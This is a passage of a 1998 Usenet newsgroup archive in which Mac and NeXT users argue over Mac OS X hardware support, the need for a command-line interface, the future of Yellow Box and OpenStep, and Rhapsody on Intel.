> all work, but that's not sufficient. There are those who put 10,000
> files in one folder, there are those who run with 1% free memory, there
> are those who have this one weird board nobody at Apple had ever heard
> about.
I'm curious as to why you think the testing phase would take so much
effort. The upper level parts are pretty well abstracted from the hardware.
All of those things interface with the kernel. Once you get the kernel
solidly working on those machines, there should be relatively little (not
nothing mind you!) that needs testing.
This couldn't be done with the Mac OS. The Mac OS is not very well
abstracted from the hardware. Things are so interrelated and hacked
together now that to alter on thing and assume that it will affect nothing
else would be monserously foolish. There is no significant hardware
abstraction layer when compared to Rhapsody/Mac OS X. Things are not nearly
as bad for those.
Some of this development and testing can be done in parallel with the
development of the high level portions of the OS. There is no reason why it
must be done serially (except perhaps resource constraints).
> And you've got all this going on WHILE Apple is being stretched to the
> seams to get the current plan out, and management's job turns into a
> circus act to keep all the plates spinning on the top of the poles.
>
> With modifications, your numbers might work for an Apple without a major
> project going on. To do it while also doing X would be a stretch.
Do you _really_ believe that it would _ever_ cost Apple anywhere near 8
million dollars to write support for these machines? I will agree that
_time_ might be an issue. I have said that many times in various threads
for the last few weeks.
Cost is just a non-issue for so many reasons.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 14 Jul 1998 07:02:02 GMT
Organization: University of Illinois at Chicago
Distribution: world
Message-ID: <6oevpa$1pvc$2@piglet.cc.uic.edu>
Bruce L. Grubb (bgrubb@zianet.com) wrote:
: In article <Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au>,
: Galen Rutledge <rutledge@pigeon.qut.edu.au> wrote:
: >I am sorry, but I do not understand how you feel that the CLI is
: >important to the MacOS, since MacOS has never been released with
: >one (Rhapsody is not in full release yet). Equally I can not see how
: >"many other things currently depend on" the CLI in the MacOS, since
: >there has never been one.
: I agree. Furthermore CLIs for the MacOSs have not done that well. MacDOS
: was very shortlived. HyperCard 1.0-2.1 could be used as a CLI but next to
: noone used it that way. As for the other thinkgs a CLI can do there is
: AppleScript. So other then the obvious matter of resources what is so
: important about a CLI that cannot be done in a GUI?
Fast remote administration or systems management from any telnet client.
That's a valuable ability for an OS that could be deployed in a
distributed multiuser environment. It becomes especially important
if the OS doesn't have a GUI that can be displayed across a network.
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 14 Jul 1998 09:28:59 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6of8cr$f79$2@sun27.hrz.tu-darmstadt.de>
References: <6oeqhd$2bl8$1@piglet.cc.uic.edu>
amaliy1@uic.edu (Anil T Maliyekke) wrote:
>Jonathan W Hendry (jhendry@shrike.depaul.edu) wrote:
>: 'Knuckling under' is the wrong way to put it. Carbon is essential, like
>: it or not.
Amen, brother.
>Question: does anyone think that the Next people who are pretty
>much in charge of OS development at Apple would go along with
>the dumping of the YellowBox/OpenStep APIs?
Nope. Yellow, too, is essential. It's the technology behind WebObjects.
It's the technology behind Distributed Objects. It's the technology
behind the RAD that still beats the crap out of any development
environment by Sun, Microsoft and the like.
The Apple of 1998 is no longer run by sellers of carbonated sugar water.
Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu> <6o721r$1log$1@piglet.cc.uic.edu> <Pine.SOL.3.96.980713160624.6998A-100000@ux10.cso.uiuc.edu> <6oe0e0$u3k$1@piglet.cc.uic.edu> <pulsar-ya02408000R1307981954300001@news-proxy.cso.uiuc.edu> <MPG.1014a8e367d27764989993@news.supernews.com>
Message-ID: <35aaf4dc.0@news.depaul.edu>
Date: 14 Jul 98 06:04:12 GMT
In comp.sys.next.advocacy Donald Brown <don.brown@cesoft.com> wrote:
> With modifications, your numbers might work for an Apple without a major
> project going on. To do it while also doing X would be a stretch.
Those numbers might work if Apple could outsource it. But that
raises two issues. One, could they find experienced staff outside
of Apple. Two, could they be profitable, selling the modified
OS'es or drivers to end users. I rather doubt both those things.
--
"... and subpoenas for all." - Ken Starr
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 14 Jul 1998 06:12:56 GMT
Organization: MiscKit Development
Message-ID: <6oest8$33f$1@news.xmission.com>
References: <35AA8501.CF6AAF27@nospam.com> <6oedop$9t21@odie.mcleod.net> <35AACACB.4A68807A@alum.mit.edu>
NNTP-Posting-Date: 14 Jul 1998 06:12:56 GMT
Eric Hermanson <eric@alum.mit.edu> wrote:
> Michelle L. Buck wrote:
> > You would be a flaming idiot to program for Yellow now.
>
> You are a flaming idoit for making a silly statement like that.
Neither Erik nor Michelle Buck are idiots, Eric.
> You are
> obviously neither a good developer, nor an experienced manager.
Wrong-O big time. Erik has created one of the coolest OPENSTEP app I have
_ever_ seen, bar none. I'm under NDA, so about all I can really say is that
it is amazing. I was hoping that it would be productized, but it looks like
that may never happen. That's a shame, because we lose a LOT there.
> Whether you are an independent software vendor, or
> a programmer on a F-1000 staff, you are best served
> from a design and implementation efficiency standpoint
> to take advantage APIs when developing UI
> applications, the EOF API when developing database
> applications, and the WebObjects API's when developing web
> applications. There is no triad of tools available that
> can compete with YB/EOF/WO either alone or together.
You are only counting the development and maintenance issues and ignoring the
political and beauraucratic limitations that may exist as well as budgets and
availability of talented trainers and developers. Like any dangerous tool,
it is only useful when wielded in the proper environment by hands with the
proper skills. Saying that YB is always the answer is terribly irresponsible
and unprofessional. It is nearly as bad as those who recommend a Microsoft
solution for everything. Not quite as bad only because the YB is higher
quality software.
While I think that YB/EOF/WOF are absolutely incredible tools, I will be the
first to admit that pragmatic considerations _do_ rule it out in certain
circumstances. No solution in existence today is a panacea, and anyone who
over-advocates a product ends up doing more harm than good for many reasons,
not the least of which is the case where a product gets a bad name for itself
because it was mis-applied. Then the project fails and the product gets
blamed instead of the idiot who recommended it. I've seen this happen
before--bad news, let me tell you, because that reputation gets harder and
harder to shake off and the product then gets ruled out of the projects where
it would have led to phenomenal success.
Consulting rule #1: Don't ever over-advocate your pet solution.
> > My company and my Fortune 100 clients are abandoning YellowBox as fast as
> > possible.
>
> You've said this in at least 3 posts in the past 2 weeks.
> If you're abandoning it "as fast as possible", then why do
> you keep lingering on the subject?
Probably because he knows how good YB is and therefore doesn't really want to
leave and keeps hoping against all hope that Apple will get its message
straight. It's not too late yet...
> [...] By the way, all of the Fortune 1000 clients
> I am exposed to are adopting YB, and EOF especially, as
> fast as possible.
Really? Which ones? I've been hearing a lot of stories along the lines of
Erik's, which is painful to hear, let me tell you. I'd like to hear more
about the successes for a change!
> > It is sad, but Yellow is dead. Apple has privately told my
> > Fortune 100 clients as much.
>
> What clients might those be? Country Joe's Chicken Ranch?
Well, it is public knowledge that one of them is a teensy little company
known as Rockwell. (I know that much is public because I've seen posts from
him with a rockwell email address. There's a lot more I'd love to say, but
NDA prevents.)
> > Apple actually recomended Windows NT and Developer Studio.
>
> In general? Bullshit! Who at Apple recommended this, and
> in what context?
This is the important thing--I think that we need more context to understand
Erik's statements. So, Erik, care to elucidate? Given some things I've been
hearing from sources very high up in Apple, this Apple statement has to be a
real anomaly or very out of context. From what I hear, in general YB is
_very_ healthy at Apple. Hopefully Apple will say something concrete very
soon...I'd almost be willing to wager that they will, because this "YB is
dead" reading of the tea leaves just seems too far out of control to me.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: "Zico" <ZicoKnows@hotmail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc,comp.sys.mac.system
Subject: Re: Apple, replace g3's floppy with superdisk!!
Date: Tue, 14 Jul 1998 03:44:31 -0400
Organization: ISPNews http://ispnews.com
Message-ID: <6of2r5$12q$1@news12.ispnews.com>
References: <jpolaski-0707980933270001@d151-216.ce.mediaone.net> <6nvdvi$r15$1@news12.ispnews.com> <jpolaski-0907980849330001@d151-216.ce.mediaone.net> <6o2igm$ss6$1@news0-alterdial.uu.net> <6o34ih$bac$1@callisto.acsu.buffalo.edu> <6o3iuf$u1e$1@nnrp1.dejanews.com> <macghod-1107981158280001@sdn-ar-001casbarp259.dialsprint.net> <6od270$vt9$1@ins8.netins.net>
NNTP-Posting-Date: 14 Jul 1998 07:54:13 GMT
x-no-archive: yes
Ikabode Krane wrote:
>
>Steve Sullivan wrote:
>>
>>Its only $60!?!??!?! Apple's floppy drive is like $150, Apple should
>>promptly replace all the g3's floppy drive and put in a superdisk
>
>Does it have an auto-eject function? If I have to push a button to get the
>floppy out, I consider that a step backwards. Perhaps the wintel sheep can
>live with *manually* ejecting a floppy but after 12 years on a Mac, I can't.
Yeah, *that's* really worth 120 bucks. I guess there
really *is* a sucker born every minute...
You really would rather pay 90 bucks more for the vastly reduced
storage of a non-L120 floppy just so you don't have to press a button?
Z
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.ms.windows.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: An irrelevant comment on the MacWorld expo
Date: 13 Jul 98 22:04:42
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul13220442@slave.doubleu.com>
References: <6o3mda$ldf$1@hole.sdsu.edu> <joe.ragosta-1007980803500001@wil117.dol.net>
<gdwarnernyet-1107980105360001@mg-20664219-154.ricochet.net>
<Pine.OSF.3.92.980712013928.17365D-100000@pigeon.qut.edu.au>
<MPG.101175043f849a54989978@news.supernews.com>
<mNOSPAMroeder-1207981333550001@192.168.21.172>
<MPG.101325ddb2b6c504989981@news.supernews.com>
In-reply-to: don.brown@cesoft.com's message of Sun, 12 Jul 1998 20:58:55 -0500
In article <MPG.101325ddb2b6c504989981@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) writes:
A thread started in comp.sys.mac.advocacy about donating blood. I
just heard on CNN that there's a big shortage of blood.
So, I got to thinking.
Let's see whether Mac advocates or PC advocates can donate more
blood in the next month.
<...>
Me, I think Mac users are such kind caring individuals, they'll
blow you Windows users away. But we'll see <wide grin>
Go for it! Everyone, I encourage you to give as much as possible!
[I'm not hoping that all of the passed-out donors will improve the
signal/noise ratio of these groups. _Really_, I'm not.]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 14 Jul 1998 09:52:40 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6of2o8$8vc$1@larry.admin.phil.uu.nl>
References: <6oevpa$1pvc$2@piglet.cc.uic.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Bruce:
>Furthermore CLIs for the MacOSs have not done that well.
FWIW: I'm a _big_ fan of MPW.
Freek
(Apple should have bundled it, that's what Apple should have done)
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Loose end
Date: 13 Jul 98 14:39:03
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul13143903@slave.doubleu.com>
References: <6o1676$hfk@newsb.netnews.att.com> <35A43A82.D4027971@nstar.net>
<6o2i5m$km7@newsb.netnews.att.com>
<SCOTT.98Jul9131344@slave.doubleu.com>
<6o56nl$rrq@newsb.netnews.att.com>
In-reply-to: gupta@kcopsrm.tm.tta.moc-mirror after @'s message of 10 Jul 1998 13:59:17 GMT
In article <6o56nl$rrq@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ writes:
Scott Hess <scott@doubleu.com> wrote:
>The original fed statistics would be worth a lot more if they
>indicated not only the current static distribution, but also the
>distribution of people within each quintile. For instance, what
>percentage of the top quintile started in the top quintile, what
>percentage started in the fourth quintile, etc. That would give a
>sense of whether things are moving onward and upward, or if they
>are static.
The paper referred to does show how stable the quintiles are over a
period of several years.
Sorry, I meant the original quoted statistics. Which were indeed fed
statistics, but weren't the original fed statistics...
Again, sorry about that,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 13 Jul 98 15:35:49
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul13153549@slave.doubleu.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com>
<6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com>
<01bdac2c$05e11ee0$04387880@test1> <6o5nq8$6q$3@news.xmission.com>
<6o5ph5$s4k$1@cronkite.cygnus.com>
In-reply-to: jrudd@cygnus.com's message of 10 Jul 1998 19:20:05 GMT
In article <6o5ph5$s4k$1@cronkite.cygnus.com>,
jrudd@cygnus.com (John Rudd) writes:
The Cygnus founders saw an opportunity in the late 80's to make
money by customizing and supporting GCC. I'm curious if perhaps
this is a similar opportunity. The Enterprise customers we're
talking about here are entities that already see value in Openstep.
Do they see enough value to jointly fund a Cyngus-like company that
would focus on Gnustep? It _may_ leave the in a situation to live
on YB until their new company could finish Gnustep, and then switch
to Gnustep as soon as possible.
Assuming that Rhapsody/Intel really _does_ go away (I'll believe it
after I see it), I'll be looking for somewhere to jump ship to. Count
me in :-).
Cygnus isn't in the business of Operating Systems. We were asked
once if we would pick up Linux support, and our leaders said no.
This is really a different colored beastie, anyhow. I'd say that
RedHat has pretty well staked out the area of supporting Linux. I
think it would be more interesting to stake out a niche of GnuStep on
top of Linux, and perhaps some of the BSD clones.
Perhaps what it would imply would be a close relationship with RedHat.
Sort of a subcontracting type relationship, where a customer could
come in with a bug or support request which might be forwarded through
to RedHat if appropriate, or done in-house if appropriate. In either
case, there'd be one place to come for support.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 13 Jul 98 15:20:40
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul13152040@slave.doubleu.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com>
<6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com>
<6o5k4c$r2d$1@crib.corepower.com> <6o5n32$6q$2@news.xmission.com>
In-reply-to: don@misckit.com's message of 10 Jul 1998 18:38:26 GMT
In article <6o5n32$6q$2@news.xmission.com>,
don@misckit.com (Don Yacktman) writes:
nurban@crib.corepower.com (Nathan Urban) wrote:
> In article <6o5jba$6q$1@news.xmission.com>, don@misckit.com wrote:
> > Yellow box on Winblows sucks rocks out of black holes.
>
> You should put that into context: in comparison to
> Rhapsody/Intel, or compared to native Windows apps? I think you
> mean the former since you were posting about how you want the
> full OS.
Sorry if I was unclear about that.
Yes, Windows is an absolutely miserable place to work. Even if I
plan to deploy there, I utterly refuse to work there for anything
but the final compiles and tests. I'll do everything on OS/Mach
4.2 instead and ftp it over to the NT box when I finally can't
avoid NT any longer.
There aren't words for how badly I detest the MS OSes. That's why
I want a full Intel OS! I tried to give the MS sh*t a chance, but
the more I use it, the less I like it.
Me Too!
We started deploying on Windows a couple years ago. At first, I did
most of the development work under NeXTSTEP, then ported to OpenStep,
then ported to NT. I figured "I'll get used to NT after awhile, and
then I can drop the multiple ports."
I "fixed" the problem by getting a faster machine and working in
OpenStep/Mach. I just can't stand Windows. Right now, I'm willing to
do some work under Windows for access to apps and because our market
is simply too, well, dense to convert. [They'll install 45
8.5-character DLLs in their _system_ directories without blinking an
eye, but install OpenStep/NT in /NeXT. What are you thinking!]
The _only_ good thing about OpenStep/NT, in my opinion, is that it
runs on the same Intel hardware that OpenStep/Mach runs on. So I
don't have to have a bunch of underutilized hardware sitting around.
For us, the PPC version of Rhapsody doesn't do us much good, because
our target market is still Windows.
If there is no Intel version of Rhapsody, regardless of what you call
it, that will probably be the last straw. I've defended OpenStep
because it makes development so much less painful that I'm even
willing to put up with Windows, abeit only in small doses. That
doesn't fly, though, if Apple decides they want to make everything
more painful for arbitrary reasons.
Apple has a group of thirsty horses, just begging for a drink.
Instead, I'm getting the impression that they want to try to work with
a mule. With friends like this, who needs enemies...
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 13 Jul 98 15:28:26
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul13152826@slave.doubleu.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com>
<6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com>
<01bdac2c$05e11ee0$04387880@test1> <6o5nq8$6q$3@news.xmission.com>
In-reply-to: don@misckit.com's message of 10 Jul 1998 18:50:48 GMT
In article <6o5nq8$6q$3@news.xmission.com>,
don@misckit.com (Don Yacktman) writes:
"Todd Heberlein" <todd@NetSQ.com> wrote:
> > Yellow box on Winblows sucks rocks out of black holes.
> > Winblows is NOT a "solution" as far as I'm concerned. I want
> > the full OS, on Intel. Period. That's what I call a
> > "solution".
<...>
> So, if you want another Intel solution other than YB on NT, keep
> letting Apple know. But also, think out of the box (e.g., would
> YB for BSD/Intel or YB for Linux/Intel be acceptable
> alternatives?)
I've thought about it, and I think that YB/Linux would go a long
way to making me feel better about the whole thing. But YB/Linux
is still not the same as Mach on Intel--there are parts missing
that I have grown to appreciate. Things like Netinfo and all the
tools in /NextApps and /NextAdmin. With enough time, there will be
GNUStep on Linux, and enough more time, many of those tools will be
recreated. But why reinvent the wheel? Mach/Intel works _today_,
so why trash it?
Better yet, most of that stuff isn't particularily operating system
specific anyhow. To kick a dead horse again... Apple is basically
saying that as things currently stand, they can't (or won't) afford
the resources to maintain an Intel version. So they plan to drop it.
Instead, they should just bite the bullet and build a solution that
doesn't require all that much extra support. Such as Rhapsody/Linux
or Rhapsody/FreeBSD. That way Rhapsody/Intel and Rhapsody/PPC can
both leverage off of work done outside of Apple.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 13 Jul 98 14:53:57
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul13145357@slave.doubleu.com>
References: <6n6a2e$21s$1@news.cmc.net>
<markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com>
<6noi5p$2qg$1@news.cmc.net> <1dbual6.1dg6va4fd3yjwN@carina22.wco.com>
<6o55nb$11t$1@news.cmc.net>
In-reply-to: devnull@occam.com's message of 10 Jul 1998 13:42:03 GMT
In article <6o55nb$11t$1@news.cmc.net>,
devnull@occam.com (Leon von Stauber) writes:
In <1dbual6.1dg6va4fd3yjwN@carina22.wco.com>,
Mike Paquette wrote:
>Note that Terminal.app is derived from Scott Hess's Stuart.app.
Huh? I had thought it was the other way around. ?
First There Was NS1.0, with Terminal and Shell. Shell was literally a
place to enter command-lines in a Text object, with essentially zero
emulation abilities. Terminal was literally a vt100 terminal in a
window. And I mean literally (ever seen scrollbars on a vt100? Ever
seen copy/paste on a vt100? Ability to open up multiple screens on a
vt100?).
A sysadmin at the school I was attending wanted to get rid of the Mac
on his desk, which he only really used to get to the local VAX anyhow.
Terminal wasn't quite capable enough. He made suggestions, I had some
free time. Stuart was written as a fusion of the original Shell and
Terminal programs.
NS2.0 was in the chute that year. My number was found, and an offer
was made to port Stuart to NS2.0 to replace original Terminal and
Shell. The arrangement was non-exclusive (I wanted to keep Stuart).
The current Terminal got New Technology that was in the chute for
Stuart, and Stuart got a boost from having its author rubbed against
people at NeXT for a couple weeks.
Instead of one being derived from the other, it might be more
appropriate to consider them as identical twins seperated at birth.
They both departed on different development tracks, but maintain a
strong shared ancestry.
[I'm only assuming Mike wrote the double-quoted part - I haven't seen
that posting, yet...]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 14 Jul 1998 07:57:01 GMT
Organization: University of Illinois at Chicago
Distribution: world
Message-ID: <6of30d$277g$1@piglet.cc.uic.edu>
Joe Ragosta (joe.ragosta@dol.net) wrote:
: In article <6odcgk$6ah@nntp02.primenet.com>, John Jensen
: <jjens@primenet.com> wrote:
: > Bruce L. Grubb <bgrubb@zianet.com> wrote:
: > : I agree. Furthermore CLIs for the MacOSs have not done that well. MacDOS
: > : was very shortlived. HyperCard 1.0-2.1 could be used as a CLI but next to
: > : noone used it that way. As for the other thinkgs a CLI can do there is
: > : AppleScript. So other then the obvious matter of resources what is so
: > : important about a CLI that cannot be done in a GUI?
: >
: > CLI's are handy for programmers. Just this week I needed to change all
: > references to our product name (a marketing requeest). On a GUI-only
: > system, there might be a few ways to do it, but I don't think you can beat
: > "find" followed by "sed" for simplicity. I'm not sure if you could beat
: > my total elapsed time of 15 minutes.
: That's easy to deal with. Just get rid of the marketing people. ;-)
: I agree that CLIs can be useful. In the context of this thread, can anyone
: comment on one aspect of the CLI in Mac OS X. I'm assuming that it will be
: there, but let's say it's not. Someone said that it would be trivial for
: someone to create a Terminal which could be used as a CLI. Is that true or
: not?
: --
: Regards,
: Joe Ragosta
: http://www.dol.net/~Ragosta/complmac.htm
I'm not familiar with the way Rhapsody and OpenStep BSD implementations
implemented the Terminal.app, but if it is like the way xterms are
implemented under UNIX/X-Windows, a Terminal will require that
the terminal devices (usually something like /dev/pty## and /dev/tty##)
be available. xterm binds to an available terminal device,
forks, and executes the command shell (or whatever you intended to run).
Basically the terminal device serves as a two-way pipe for input and
output to pass between the xterm application and programs running in the
xterm window. It also provides certain features that can be used for
controlling the flow of data and for signalling programs running in the
xterm. The terminal devices are also used to support the standard UNIX
telnetd daemon.
The support for these "devices" is in the kernel. If support for the
device remains in the kernel, terminal applications and telnetd daemons
can definitely be written. If the support for these devices is removed,
then a command line interface could still be implemented using pipes,
though it would lack some of the interactive capabilities of a true
terminal that you get when you use an xterm or you telnet into a UNIX
machine. The most important thing you wouldn't be able to do is run
utilities that respond immediately to key strokes rather than waiting for
you to type a line and press enter. This would include things like shells
such as tcsh which have command line editing features or things like the
Lynx web browser.
From: xerxes@diku.dk (=?ISO-8859-1?Q?Per_Erik_R=F8nne?=)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 14 Jul 1998 07:29:44 +0100
Organization: DIKU
Message-ID: <1dc5ara.kuxawe14pa101N@ip206.albnxr2.ras.tele.dk>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu> <6o721r$1log$1@piglet.cc.uic.edu> <Pine.SOL.3.96.980713160624.6998A-100000@ux10.cso.uiuc.edu> <6oe0e0$u3k$1@piglet.cc.uic.edu>
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Anil T Maliyekke <amaliy1@uic.edu> wrote:
> Does MkLinux (using the Mach 3 kernel) run on 603e's yet?
With MkLinux, the old 6100/7100/8100 line of cumputers are better than
the 603e line!
--
Per Erik Rønne
E-mail: xerxes@diku.dk
Homepage with pgp public key: http://www.diku.dk/students/xerxes
Remove '.edu' before e-mail [anti-spam]
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Mac OS X HW support: the too slow arguement
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <Pine.SOL.3.96.980713140746.20742A-100000@ux7.cso.uiuc.edu> <B1CFE27C-C238@206.165.43.144>
Message-ID: <35aad934.0@news.depaul.edu>
Date: 14 Jul 98 04:06:12 GMT
In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
> Pulsar <tokarek@uiuc.edu> said:
> >The reasons for Mac OS X not being supported on pre-G3 PCI PowerMacs do
> >_NOT_ involve speed (or a lack of it).
> >
> I made one such argument. It is based on e-mail that a former Apple
> engineer sent to me about 8 months ago where he asserted that the kernel
> used in Rhapsody wasn't able to host QuickTime properly. I'm sure that he
> didn't mean for playback, so I assume that he meant for high-end,
> professional video creation.
> In other words, Rhapsody (and presumeably the first generation of MacOS X)
> will not be able to handle video creation well. If this was the case, you
> would expect Apple to abandon the highe-end video market, which is exactly
> what they have done by abandoning the 6 PCI slot market.
Clue: Rhapsody kernel = Mach 2.5+; MacOS X kernel = Mach 3
The high-end video market can buy expansion chassis, if they really
need the extra slots. Or, some enterprising company can come up
with expensive, specialized dual-function PCI cards.
(Though I'm not entirely clear on why 6 slots are needed, given the
existence of SCSI cards that can host 14 or more drives.)
From: bonasa@umbellus.fst
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 13 Jul 1998 23:14:46 -0500
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <bonasa-1307982314460001@pm6-114.acronet.net>
References: <rmcassid-1307981232230001@dante.eng.uci.edu> <B1CFE637-1A286@206.165.43.144> <rmcassid-1307981710550001@dante.eng.uci.edu>
In article <rmcassid-1307981710550001@dante.eng.uci.edu>, rmcassid@uci.edu
(Robert Cassidy) wrote:
> In article <B1CFE637-1A286@206.165.43.144>, "Lawson English"
> <english@primenet.com> wrote:
>
> >Robert Cassidy <rmcassid@uci.edu> said:
> >
> >>I'd say the likelihood of Mac OS X running on stock
> >>7600/8500/8600/9500/9600 systems is good.
> >
> >But what of my brand new 7300/180? That's a 604e-based system also. I
> >bought it specifically to be able to run and program for Rhapsody just 2-3
> >months ago.
>
> It'd probably go as well. I just missed it in my list. This is all
> _speculation_ you realize, but technically not inconsistent with what
> Apple is saying. The key word in all of this is 'support'. What will work,
> and what will be supported, are entirely different things...
>
> I'm learning this the hard way as my dad's 1400 will _support_ 64MB of
> RAM, but there seems to be no way of actually getting 64MB in there...
>
> -Bob Cassidy
There are thousands of people running 1400's with 64MB of RAM. I am 2 of
them. Bruce
From: trev@sc.edu (Trevor Zion Bauknight)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 13 Jul 1998 23:19:42 -0400
Organization: Metaphysical Bunko Squad
Message-ID: <trev-1307982319430001@nas-p3.usc.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com> <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net> <Josh.McKee-1307982024580001@pm3a3.rmac.net>
In article <Josh.McKee-1307982024580001@pm3a3.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> Let me ask you this George, how do you know OS 8.x will run carbon tuned apps?
Um, because Carbon is a *subset* of the current Mac OS API? That makes it easy.
Trev
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 14 Jul 1998 00:16:46 -0500
Organization: Prairie Group
Message-ID: <MPG.1014a5b7d9adc373989992@news.supernews.com>
References: <rmcassid-1307981232230001@dante.eng.uci.edu> <B1CFE637-1A286@206.165.43.144> <rmcassid-1307981710550001@dante.eng.uci.edu>
In article <rmcassid-1307981710550001@dante.eng.uci.edu>,
rmcassid@uci.edu says...
> In article <B1CFE637-1A286@206.165.43.144>, "Lawson English"
> <english@primenet.com> wrote:
>
> >Robert Cassidy <rmcassid@uci.edu> said:
> >
> >>I'd say the likelihood of Mac OS X running on stock
> >>7600/8500/8600/9500/9600 systems is good.
> >
> >But what of my brand new 7300/180? That's a 604e-based system also. I
> >bought it specifically to be able to run and program for Rhapsody just 2-3
> >months ago.
>
> It'd probably go as well. I just missed it in my list. This is all
> _speculation_ you realize, but technically not inconsistent with what
